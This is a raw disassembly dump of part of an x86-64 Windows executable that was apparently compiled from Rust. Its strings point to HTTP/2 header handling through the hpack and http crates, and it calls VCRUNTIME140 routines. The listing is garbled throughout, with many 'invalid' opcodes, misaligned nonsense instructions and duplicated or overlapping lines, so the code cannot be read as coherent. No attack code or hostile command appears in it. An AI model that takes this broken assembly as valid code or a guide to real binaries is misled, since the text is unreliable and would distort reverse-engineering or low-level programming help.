adc dword [rax - 0x39], ecx
adc byte [rax], r8b
add byte [rax], al
add byte [rax + 3], bh
mov eax, 3
mov qword [rsi + 0x10], 0
mov eax, 3
add byte [rcx + rcx*4 + 0x66], cl
or byte [rax - 0x77], cl
invalid
mov qword [rsi + 8], r12
mov dword [rsi + 8], esp
mov qword [rsi], rax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
call fcn.140104670
invalid
push rcx
mov word [rdi], cs
add al, ch
pushfq
test dword [0x145900cd7], ecx
add byte [rbp + rcx*4 + 5], cl
add byte [rbp + rcx*4 + 5], cl
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rcx, rbx
fld1
invalid
invalid
invalid
add ah, cl
pop rbp
mov word [rdi], cs
add byte [rax - 0x77], cl
fld1
lea eax, [rbp - 0x3333fff3]
int3
int3
int3
int3
int3
push rsi
push rsp
sbb byte [rcx], al
add byte [rax], al
mov dword [rsp + 0x40], eax
push rsp
and al, 0x48
mov ecx, dword [rcx + 0x50]
and al, 0x28
and al, 0x30
xor byte [rax + 0x39], cl
enter 0xffffffffffff860f, 0xffffffffffffff92
xchg byte [rdx + 0x49000002], dl
mov eax, dword [rsp + 0x40]
xchg byte [rdx + 0x49000002], dl
mov eax, dword [rsp + 0x40]
ror byte [rax - 0x77], 1
and al, 0x38
invalid
cmp byte [rcx - 0x75], cl
and al, 0x18
pop rax
mov dword [rsp + 0x50], eax
jl 0x14002c174
and byte [rbp - 0x75], cl
jl 0x14002c179
mov edi, dword [rsp + 0x38]
cmp byte [rbp - 0x75], cl
insb byte [rdi], dx
and al, 8
and al, 0x30
nop word cs:[rax + rax]
invalid
add byte [rax - 0x7d], cl
mov esp, 0xb824
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
push rax
or byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add al, ch
fild word [r14]
add byte [rax - 0x75], cl
and al, 0x20
and al, 0x28
wait
mov dword [rdi], ecx
add byte [rcx + rcx*4 - 0xe], cl
lea ecx, [0x140124d68]
or eax, 0xd8d4800
push rax
or eax, 0xf8950
mov dword [rdi], ecx
add al, ch
cmp eax, dword [rsi - 0x3333fff3]
int3
int3
sub rsp, 0x20
mov rsi, rcx
mov rbx, qword [rcx]
call fcn.14002cf10
or al, byte [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x10]
invalid
or al, byte [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdx, rbx
invalid
invalid
mov ecx, dword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdx, rbx
sub rdx, rax
cmp rcx, rdx
ret 0x3948
jbe 0x14002c4a2
insd dword [rdi], dx
mov rdi, qword [rsi]
mov r8, rbx
sub r8, rcx
sub rax, r8
sub eax, eax
sub eax, eax
cmp r8, rax
cmp eax, eax
jbe 0x14002c474
mov rdx, rdi
mov rdx, rdi
sub rdx, rbx
cmp rdx, rax
fimul dword [rax + 0x39]
ret 0x2372
jb 0x14002c474
jb 0x14002c474
and ecx, dword [rax - 0x75]
push rsi
or byte [rax - 0x73], cl
invalid
mov rdx, qword [rsi + 8]
lea rcx, [rbx + rbx*2]
lea ecx, [rbx + rbx*2]
lea ecx, [rbx + rbx*2]
or al, 0x5b
shl rcx, 5
loope 0x14002c462
add rcx, rdx
shl rax, 5
shl eax, 5
ror dword [rax - 0x3f], 1
shl eax, 5
loopne 0x14002c469
add eax, 0x40048d4c
lea r8, [rax + rax*2]
lea eax, [rax + rax*2]
add rsp, 0x20
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp sub.VCRUNTIME140.dll_memcpy
invalid
invalid
or eax, 0xc7294c00
add byte [rcx + rbp - 0x39], cl
sub rdi, r8
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
lea rdx, [rcx + rcx*2]
adc al, 0x49
shl rdx, 5
add rdx, rax
lea rcx, [rdi + rdi*2]
or al, 0x7f
lea ecx, [rdi + rdi*2]
or al, 0x7f
jg 0x14002c4d3
shl rcx, 5
shl ecx, 5
add rcx, rax
shl r8, 5
add eax, 0x40048d4f
add eax, 0x40048d4f
call sub.VCRUNTIME140.dll_memmove
mov qword [rsi + 0x10], rdi
mov dword [rsi + 0x10], edi
invalid
or eax, 0x7e894800
adc byte [rax - 0x7d], cl
invalid
invalid
mov dword [rsi + 0x10], edi
add rsp, 0x20
add esp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
ret
int3
int3
int3
sub rsp, 0x28
movzx eax, byte [rcx + 0x40]
invalid
invalid
sub byte [rdi], cl
mov dh, 0x41
lea edx, [rax - 2]
lea edx, [rax - 2]
lea edx, [rax - 2]
dec al
xor r8d, r8d
xor eax, eax
cmp dl, 6
movzx eax, al
cmovae eax, r8d
ror byte [rdi], 0xb6
invalid
cli
invalid
ror byte [rdi], 0xb6
mov dh, 0xc0
ror byte [rax - 0x73], 0x15
sbb al, 0x6b
lea rdx, [0x140172ff0]
adc eax, 0x146b1c
adc al, 0
add byte [rax + 0x63], cl
add al, 0x82
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
sar bh, 1
loopne 0x14002c526
invalid
jmp rax
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [rax - 0x75], cl
push rcx
adc byte [rax - 0x7d], cl
mov rdx, qword [rcx + 0x10]
add rsp, 0x28
invalid
sub bl, al
invalid
mov rax, qword [rcx + 0x28]
mov eax, dword [rcx + 0x28]
sub byte [r8 - 0x75], cl
push rcx
mov rdx, qword [rcx + 0x30]
add rsp, 0x28
add esp, 0x28
xor byte [rax - 0x7d], cl
invalid
add esp, 0x28
ret
movzx eax, byte [rcx]
mov edx, 7
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
add byte [rax], al
lea r8, [0x14017300c]
movsxd rax, dword [r8 + rax*4]
add rax, r8
invalid
imul edx, dword [rax + rax], 0x49
invalid
jmp rax
loopne 0x14002c558
lea rax, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
lea eax, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
add rsp, 0x28
add esp, 0x28
ret
mov eax, dword [rcx]
add eax, 0xffffff9c
invalid
pushfq
rcr byte [rdi + rcx - 0x72b73f49], 0xc
pushfq
movzx eax, ax
lea rcx, [rax + rax*2]
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:status
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:status
add rax, rcx
mov edx, 3
add byte [rax], al
invalid
enter 0x3ba, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
ret
lea rax, [0x140127d0e]
mov edx, 3
add byte [rdx + 3], bh
add rsp, 0x28
ret
lea rax, [0x140127d27]
mov edx, 5
add byte [rdx + 5], bh
add rsp, 0x28
ret
lea rax, [0x140127d07]
mov edx, 3
add byte [rdx + 3], bh
add byte [rax], al
add rsp, 0x28
ret
lea rax, [0x140127d0a]
mov edx, 4
add byte [rdx + 4], bh
add rsp, 0x28
ret
lea rax, [0x140127d1b]
mov edx, 5
add byte [rdx + 5], bh
add rsp, 0x28
ret
lea rax, [0x140127d11]
mov edx, 6
add byte [rdx + 6], bh
add rsp, 0x28
ret
lea rax, [0x140127d17]
mov edx, 4
add byte [rax], al
add byte [rax], al
add rsp, 0x28
ret
movzx edx, byte [rcx + 0x10]
cmp rdx, 0x10
jae 0x14002c5d3
inc rcx
mov rax, rcx
add rsp, 0x28
ret
lea rax, [0x140127d20]
add rsp, 0x28
ret
lea r8, [0x140126268]
mov rcx, rdx
mov edx, 0xf
call fcn.1401046e0
int3
and al, 0x38
add byte [rax], al
add byte [rax], al
jo 0x14002d1a7
movups xmm2, xmmword [rax + 0x80]
movups xmm3, xmmword [r8 + 0x90]
movaps xmmword [rsp + 0xe0], xmm3
and al, 0xe0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], edx
and al, 0xd0
add byte [rax], al
invalid
and al, 0xe0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xd0], edx
and al, 0xd0
add byte [rax], al
invalid
and al, 0xd0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xc0], ecx
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [r8 + 0xb0]
mov qword [rsp + 0x100], rax
add al, ch
invalid
pop rbx
std
dec dword [rax - 0x7d]
mov esp, 0xf024
add byte [rax], al
add al, ch
invalid
std
dec dword [rax - 0x7d]
mov esp, 0xf024
add byte [rax], al
setne al
movzx r13d, byte [rsp + 0xb0]
test r13b, r13b
setne dil
or dil, al
je 0x14002d22a
mov rdx, qword [rsp + 0xe0]
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x120], xmm0
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0xf8], al
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0xf8], al
movaps xmmword [rsp + 0x130], xmm0
test r13b, r13b
je 0x14002d2a3
mov rax, qword [rsp + 0xb1]
mov rcx, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x47
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x47
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0xd0], 0
mov qword [rsp + 0x30], rdx
jne 0x14002d23f
jmp 0x14002d2b6
mov r13b, 3
xor edx, edx
cmp qword [rsp + 0xd0], 0
mov qword [rsp + 0x30], rdx
je 0x14002d2b6
mov rsi, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x47]
mov qword [rsp + 0x1c9], rax
mov qword [rsp + 0x1d0], rcx
movups xmm0, xmmword [rsp + 0xc8]
movups xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1f0], rax
movaps xmm0, xmmword [rsp + 0x120]
movaps xmm1, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x200], xmm0
movups xmmword [rsp + 0x210], xmm1
jmp 0x14002d315
mov r13b, 3
cmp qword [rsp + 0xd0], 0
mov qword [rsp + 0x30], rdx
jne 0x14002d23f
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x47]
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1c9], rax
movaps xmm0, xmmword [rsp + 0x120]
movaps xmm1, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x200], xmm0
movups xmmword [rsp + 0x210], xmm1
lea rcx, [rsp + 0xd8]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
xor esi, esi
xor r8d, r8d
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x30]
mov byte [rsp + 0x1c8], r13b
mov qword [rsp + 0x1d8], rsi
mov qword [rsp + 0x1f8], rdx
test dil, dil
jne 0x14002d35a
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x30]
test rdx, rdx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0xa8], rsi
je 0x14002d47e
mov byte [rsp + 0x2d], r13b
mov byte [rsp + 0x2e], r12b
mov qword [rsp + 0x118], rbp
movups xmm0, xmmword [rsp + 0x200]
movups xmm1, xmmword [rsp + 0x210]
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm1
mov qword [rsp + 0x120], rdx
mov rbp, qword [rsp + 0x128]
mov r13, qword [rsp + 0x130]
cmp r13, 1
mov r12, r13
adc r12, 0
test r13, r13
lea rdi, [0x14016f318]
cmovne rdi, rbp
test r12, r12
js 0x14002d8b7
mov qword [rsp + 0x110], r15
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r12
call fcn.1400e0010
test rax, rax
je 0x14002d8bc
mov rsi, rax
mov rcx, rax
mov rdx, rdi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov r15, rsi
or r15, 1
test sil, 1
cmovne r15, rsi
lea rax, [0x140126040]
lea rdi, [0x140126058]
cmove rdi, rax
lea rcx, [rsp + 0x138]
mov rdx, rbp
mov r8, r13
mov rax, qword [rsp + 0x30]
call qword [rax + 0x10]
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], r15
mov rbp, qword [rsp + 0x118]
mov r15, qword [rsp + 0x110]
movzx r12d, byte [rsp + 0x2e]
movzx r13d, byte [rsp + 0x2d]
mov rcx, qword [rsp + 0x38]
jmp 0x14002d49c
lea rsi, [0x14016f768]
mov qword [rsp + 0x78], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
lea rdi, [0x1401127a0]
mov eax, dword [rsp + 0x6c]
shl eax, 0x10
or ecx, eax
shl rcx, 0x20
movzx eax, r12b
mov qword [rsp + 0x70], rdi
test eax, eax
je 0x14002d4c7
cmp eax, 7
je 0x14002d4c7
cmp qword [rsp + 0x30], 0
je 0x14002d83e
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x90], xmm0
mov rsi, qword [rsp + 0xa8]
or r14, rcx
mov qword [rsp + 0x40], rdi
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x48], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x50], 0
je 0x14002d538
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x230], rax
movaps xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x220], xmm0
jmp 0x14002d54a
lea rcx, [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
call qword [rdi + 0x10]
xor edi, edi
mov byte [rsp + 0x120], r12b
mov dword [rsp + 0x121], r14d
mov rax, r14
shr rax, 0x30
mov byte [rsp + 0x127], al
shr r14, 0x20
mov word [rsp + 0x125], r14w
movups xmmword [rsp + 0x128], xmm6
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x178], rdi
movaps xmm0, xmmword [rsp + 0x220]
movups xmmword [rsp + 0x180], xmm0
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rsp + 0x198], xmm0
movups xmmword [rsp + 0x1a8], xmm1
mov word [rsp + 0x1b8], 0
cmp r13b, 3
je 0x14002d5fb
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x1c8]
call fcn.14002d8e0
test rsi, rsi
je 0x14002d6fd
lea rax, [rsp + 0x1d8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
mov r15, qword [rsp + 0x48]
mov r14, qword [rsp + 0x50]
test r14, r14
je 0x14002d673
js 0x14002d8b7
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r14
call fcn.1400e0010
test rax, rax
je 0x14002d8c9
mov r12, rax
mov rcx, rax
mov rdx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
test r12b, 1
jne 0x14002d695
mov rsi, r12
or rsi, 1
lea rdi, [0x140126040]
jmp 0x14002d69f
lea rdi, [0x140110a98]
lea r12, [0x14016f768]
xor esi, esi
xor r13d, r13d
mov rax, qword [rsp + 0x158]
test rax, rax
jne 0x14002d6af
jmp 0x14002d6ca
lea rdi, [0x140126058]
mov rsi, r12
mov r13, r14
mov rax, qword [rsp + 0x158]
test rax, rax
je 0x14002d6ca
lea rcx, [rsp + 0x170]
mov rdx, qword [rsp + 0x160]
mov r8, qword [rsp + 0x168]
call qword [rax + 0x10]
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], r12
mov qword [rsp + 0x168], r13
mov qword [rsp + 0x170], rsi
mov rax, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov rdx, r15
mov r8, r14
call qword [rax + 0x10]
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x120]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
add byte [rax - 0x75], cl
test byte [rax + rbx*2], ah
add al, byte [rax]
add byte [rax + 0xb], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rbp + 0x43], dh
add byte [rax - 0x75], cl
test byte [rax + rbx*2], ah
add al, byte [rax]
add byte [rax + 0xb], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rbp + 0x43], dh
cmp byte [rsp + 0x2f], 3
jne 0x14002d759
and al, 0x2f
add esi, dword [rbp + 0x28]
mov word [rbp + 8], 0x703
mov qword [rbp], 3
lea rcx, [rsp + 0x240]
call fcn.14001b280
mov rcx, rbx
call fcn.1400524f0
jmp 0x14002d822
add byte [rax], al
or byte [rbx], al
invalid
add byte [rax], al
lea rdx, [0x14013f698]
lea rcx, [rsp + 0x240]
call fcn.14002d8e0
movzx esi, byte [rsp + 0x460]
lea rcx, [rsp + 0x340]
lea rdx, [rsp + 0x240]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.1400233c0
mov rdi, rax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x310], xmm3
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x320], xmm0
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rsp + 0x330], xmm0
or sil, 4
lea rdx, [rsp + 0x2e0]
add al, byte [rax]
add byte [rcx - 0x48], al
add byte [rcx], al
add byte [rax], al
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x100], rdi
add dword [rax], eax
add dh, al
test dword [rax], ecx
add dword [rax], eax
add byte [rax], al
mov byte [rbp + 0x115], 2
mov eax, dword [rsp + 0x68]
mov dword [rbp + 0x118], eax
mov byte [rbp + 0x11c], sil
movaps xmm6, xmmword [rsp + 0x3e0]
add rsp, 0x3f8
add esp, 0x3f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x88]
mov rdx, rsi
xor r8d, r8d
call qword [rdi + 0x10]
mov rcx, qword [rsp + 0x38]
lea rdi, [0x1401127a0]
mov qword [rsp + 0x70], rdi
jo 0x14002d8ae
lea eax, [0x14016f318]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
mov qword [rsp + 0x88], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0
jmp 0x14002d4e4
call fcn.140010910
mov ecx, 1
mov rdx, r12
call fcn.140104360
mov ecx, 1
mov rdx, r14
call fcn.140104360
int3
jo 0x14002d99c
test ah, ah
add byte [rax], al
add byte [rdi], cl
mov dh, 5
invalid
mov edx, ebx
call fcn.1400e0010
or eax, dword es:[rax]
test rax, rax
je 0x14002da96
test dl, ch
add byte [rax], al
invalid
test dl, ch
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
invalid
mov r14, rax
mov rcx, rax
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add byte [rcx - 0xa], al
mov byte [rcx], 0x75
invalid
add byte [rcx - 0xa], al
mov byte [rcx], 0x75
sbb dword [rbp - 0x77], ecx
mov r12, r14
mov r12, r14
mov esp, esi
or r12, 1
lea r15, [0x140126040]
lea edi, [0x140126040]
lea edi, [0x140126040]
mov rax, qword [rdi + 0x18]
test rax, rax
jne 0x14002da0b
jmp 0x14002da1a
lea r15, [0x140126058]
mov r12, r14
mov rax, qword [rdi + 0x18]
mov eax, dword [rdi + 0x18]
xchg byte [rdi], cl
add byte [rbp - 0x77], cl
hlt
mov eax, dword [rdi + 0x18]
test rax, rax
jne 0x14002da0b
jmp 0x14002da1a
mov eax, dword [rdi + 0x18]
sbb byte [r8 - 0x7b], r9b
sal byte [rdi + rcx + 0x48], 0x8d
xor byte [r8 - 0x75], r9b
push rdi
and byte [rbx + rcx*4 + 0x47], cl
sub bh, bh
push rax
adc byte [rcx + rcx*4 + 0x7f], cl
sbb byte [rcx + rcx*4 + 0x77], cl
ja 0x14002da42
mov qword [rdi + 0x28], rbx
mov qword [rdi + 0x30], r12
cmp bpl, 2
jae 0x14002da3f
test rax, rax
je 0x14002da1a
lea rcx, [rdi + 0x30]
lea ecx, [rdi + 0x30]
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
call qword [rax + 0x10]
mov qword [rdi + 0x18], r15
mov qword [rdi + 0x20], r14
ja 0x14002da42
ja 0x14002da42
mov qword [rdi + 0x28], rbx
mov qword [rdi + 0x30], r12
cmp bpl, 2
jae 0x14002da3f
cmovs eax, dword [rbx + 0x5d5b20c4]
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov rsi, qword [rsi + 8]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
or byte [rax - 0x73], cl
sbb byte [rax - 0x75], r9b
invalid
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov ecx, 1
mov rdx, rbx
call fcn.140104360
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
mov edx, 0x28
call fcn.1401046f0
int3
xor eax, eax
movzx ecx, byte [r12 + 0x11]
test cl, cl
jne 0x14002df69
mov qword [rsp + 0x60], r14
mov ecx, dword [rdx + 8]
mov edx, dword [rdx + 0xc]
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], edx
cmp qword [r12 + 0x1d8], rcx
jbe 0x14002dfb3
mov r13, qword [r12 + 0x1d0]
imul rcx, rcx, 0x130
cmp dword [r13 + rcx], 2
je 0x14002dfb3
add r13, rcx
cmp dword [r13 + 0x114], edx
jne 0x14002dfb3
mov r15, qword [r8]
cmp qword [r13 + 0x18], 0
je 0x14002dc09
mov r14, qword [r13 + 0x20]
cmp qword [r12 + 0x88], r14
jbe 0x14002e018
mov rbx, qword [r13 + 0x28]
imul rbp, r14, 0xf0
mov rcx, qword [r12 + 0x80]
mov r8, qword [r12 + 0x98]
lea r9, [rcx + rbp]
mov rdx, qword [rcx + rbp]
mov rdi, qword [rcx + rbp + 8]
mov qword [rcx + rbp], 2
mov qword [rcx + rbp + 8], r8
cmp rdx, 2
je 0x14002e014
dec qword [r12 + 0x90]
mov qword [r12 + 0x98], r14
cmp r14, rbx
jne 0x14002dc80
test rdx, rdx
jne 0x14002e030
mov qword [r13 + 0x18], 0
mov rdi, r14
lea rdx, [rcx + rbp]
add rdx, 0x10
mov rcx, qword [rdx]
cmp rcx, 4
je 0x14002dcaa
cmp rcx, 6
jne 0x14002dd37
mov ebx, eax
lea rdx, [r13 + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140026790
movzx ecx, byte [rsp + 0x70]
movzx eax, byte [rsp + 0x71]
cmp cl, 3
mov rdi, qword [rsp + 0x60]
jne 0x14002dcfc
test al, al
je case.0x14002a5ba.63
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov rax, qword [r13 + 0xa8]
test rax, rax
je 0x14002dc5e
mov rcx, qword [r13 + 0xb0]
call qword [rax + 0x18]
mov qword [r13 + 0xa8], r14
mov qword [r13 + 0xb0], r15
mov byte [rsp + 0x38], 5
mov eax, ebx
test al, al
jne 0x14002de11
jmp 0x14002ddfe
test rdx, rdx
je 0x14002e048
mov qword [r13 + 0x18], 1
mov qword [r13 + 0x20], rdi
lea rdx, [rcx + rbp]
add rdx, 0x10
mov rcx, qword [rdx]
cmp rcx, 4
jne 0x14002dbff
movups xmm0, xmmword [r9 + 0x18]
movups xmm1, xmmword [r9 + 0x28]
movups xmmword [rsp + 0x77], xmm0
movups xmmword [rsp + 0x87], xmm1
mov byte [rsp + 0x38], 3
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x39], xmm0
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x49], xmm0
mov rcx, qword [rsp + 0x8f]
mov qword [rsp + 0x58], rcx
mov rdi, qword [rsp + 0x60]
test al, al
jne 0x14002de11
sbb al, byte [rcx]
add byte [rax], al
sbb al, byte [rcx]
add byte [rax], al
jmp 0x14002ddfe
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x58], rdx
pop rax
pop rax
movups xmm0, xmmword [rsp + 0x72]
movups xmm1, xmmword [rsp + 0x82]
adc byte [rsp + 0x82], cl
adc byte [rsp + 0x82], cl
mov word [rdx + rax*4], fs
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x4a], ecx
movups xmmword [rsp + 0x4a], xmm1
movups xmmword [rsp + 0x3a], xmm0
